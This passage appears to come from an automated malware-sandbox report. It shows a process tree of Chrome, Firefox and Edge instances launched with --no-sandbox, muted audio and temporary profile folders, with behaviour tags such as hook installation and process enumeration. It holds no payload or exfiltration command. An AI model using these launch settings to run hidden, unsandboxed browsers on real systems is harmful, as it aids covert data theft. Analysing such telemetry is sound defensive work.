      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3556,i,4461149463070388819,1423599121591256514,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      PID:5064
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3596,i,2368526258672430989,10707665043348027466,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:2
      4⤵
      PID:4848
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4244,i,11587753767569124574,4226887825443766283,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=4164 /prefetch:1
      4⤵
      PID:4312
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4332,i,11004147378656380211,8423532605364997886,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=4344 /prefetch:2
      4⤵
      PID:1580
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --force-high-res-timeticks=disabled --metrics-shmem-handle=4424,i,15743651621685117043,6131691407796967082,524288 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=4436 /prefetch:8
      4⤵
      PID:3764
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --force-high-res-timeticks=disabled --metrics-shmem-handle=5024,i,9972438317217454007,4007877270912644254,524288 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=5040 /prefetch:8
      4⤵
      PID:4488
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5124,i,1952508914260763376,17387554170429237375,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:1
      4⤵
      PID:1888
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ehomnojd.5ke" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5136,i,6988284781989615948,12208212722012032054,2097152 --field-trial-handle=2180,i,15717640455474216982,1506438190600360851,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:1
      4⤵
      PID:4148
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\5ctcg4h0.upw"
    3⤵
    PID:5372
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir=C:\Users\Admin\AppData\Local\Temp\5ctcg4h0.upw
      4⤵
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      PID:5392
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2032 -prefsLen 27099 -prefMapHandle 2036 -prefMapSize 270279 -ipcHandle 2124 -initialChannelId {609b95ad-5e5b-4dcf-bf51-ecbf500669a1} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        5⤵
        
        PID:5604
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2208 -prefsLen 27135 -prefMapHandle 2284 -prefMapSize 270279 -ipcHandle 2260 -initialChannelId {028072f8-0593-47da-a5f9-a1d4520fe05d} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        5⤵
        
        PID:5680
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\730e2525-10e3-4e96-8305-8f1033541b6c.dmp"
        5⤵
        
        PID:5748
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2884 -prefsLen 27135 -prefMapHandle 2888 -prefMapSize 270279 -ipcHandle 2760 -initialChannelId {5ba505f3-34e6-412a-b230-50bd357e413b} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 gpu
        5⤵
        
        PID:5768
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\c22d39f0-b52d-42d8-a4dd-21c6d5e47522.dmp"
        5⤵
        
        PID:5916
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3012 -prefsLen 27135 -prefMapHandle 2760 -prefMapSize 270279 -ipcHandle 3152 -initialChannelId {08d7ff3e-e41a-4488-a0e2-ea9e69aba01d} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 gpu
        5⤵
        
        PID:5932
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\ad78db64-e06d-491e-bc1b-43395ad77984.dmp"
        5⤵
        
        PID:6044
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3152 -prefsLen 27200 -prefMapHandle 3552 -prefMapSize 270279 -ipcHandle 2728 -initialChannelId {3bfc4376-7e6d-4483-8644-f112a7d6a4ae} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 gpu
        5⤵
        
        PID:6056
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3860 -prefsLen 27325 -prefMapHandle 3864 -prefMapSize 270279 -jsInitHandle 3868 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3888 -initialChannelId {a3fe26ca-c1d4-43dd-b7ad-3e9727214dcb} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        5⤵
        
        PID:6136
    - - C:\Program Files\Mozilla Firefox\crashreporter.exe
        
        "C:\Program Files\Mozilla Firefox\crashreporter.exe" --analyze "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\pending\05c181fb-6fb5-497d-adb7-21d56057cb54.dmp"
        5⤵
        
        PID:5268
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2728 -prefsLen 27325 -prefMapHandle 4084 -prefMapSize 270279 -ipcHandle 2972 -initialChannelId {00ca5087-138e-4623-84eb-e81e3ca44977} -parentPid 5392 -crashReporter "\\.\pipe\gecko-crash-server-pipe.5392" -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 gpu
        5⤵
        
        PID:5296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio --disable-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious use of FindShellTrayWindow
    PID:1404
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x204,0x7fff7013c188,0x7fff7013c194,0x7fff7013c1a0
      4⤵
      PID:4396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --metrics-shmem-handle=1628,i,5933704619584797262,1629636294245327396,262144 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:2
      4⤵
      PID:3436
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1756,i,8166132116420845771,112530767573985731,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:3
      4⤵
      System Time Discovery
      PID:4188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2352,i,623129160681484108,12629878808764233885,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:8
      4⤵
      PID:3468
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3104,i,10978768177325145359,12657966897707474458,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3112 /prefetch:1
      4⤵
      PID:2280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3108,i,11353201033074227151,6259335435700369020,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:1
      4⤵
      PID:3240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3584,i,6736387552279688168,13520606864178438947,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3692 /prefetch:8
      4⤵
      PID:5596
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3592,i,4318596891924712143,2504697243954622711,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:8
      4⤵
      PID:5620
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3596,i,10758259461444755665,1146081915421588369,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:8
      4⤵
      PID:5388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3560,i,16964638420542187294,14677996889543987007,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3784 /prefetch:1
      4⤵
      PID:5652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=3428,i,12599933263581838112,13689377668217759843,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3804 /prefetch:2
      4⤵
      PID:5644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3660,i,4392226606378782301,15985449495939838405,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3824 /prefetch:1
      4⤵
      PID:5640
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3684,i,10748670781739593091,10429382775221996982,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:2
      4⤵
      PID:224
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=3704,i,2214745358923652412,13096430175116229928,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3856 /prefetch:1
      4⤵
      PID:2188
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=3732,i,1172535442307432089,15847765429095754461,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3880 /prefetch:2
      4⤵
      PID:3820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=3816,i,952069000293635353,8805632570967079958,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3980 /prefetch:1
      4⤵
      PID:4168
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3848,i,11337893197145299581,13319259158471688592,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=3984 /prefetch:2
      4⤵
      PID:4236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=3904,i,6737134724570755286,16366653203199302386,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=4040 /prefetch:1
      4⤵
      PID:4496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=3916,i,6406003230841037076,12551428825549429,2097152 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:2
      4⤵
      PID:4232
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4996,i,8042164314943005582,5904575672625154708,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=4048 /prefetch:8
      4⤵
      PID:5736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5368,i,9888704902280860667,6189948944185830987,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:8
      4⤵
      PID:3156
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,15314036521547213639,5627260140174766967,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=5504 /prefetch:8
      4⤵
      PID:5364
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --no-sandbox --mute-audio --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5472,i,4613406134118353769,2748222444618351337,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:8
      4⤵
      PID:548
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,3903948002597593906,2212411018000209558,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
      4⤵
      PID:5864
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6064,i,3903948002597593906,2212411018000209558,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
      4⤵
      PID:5772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\lqqduotb.un0" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7084,i,6454429908539011320,2154768667807494390,524288 --field-trial-handle=2296,i,7717942164820476786,12816616846436975057,262144 --variations-seed-version --mojo-platform-channel-handle=7088 /prefetch:8
      4⤵
      PID:6556

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
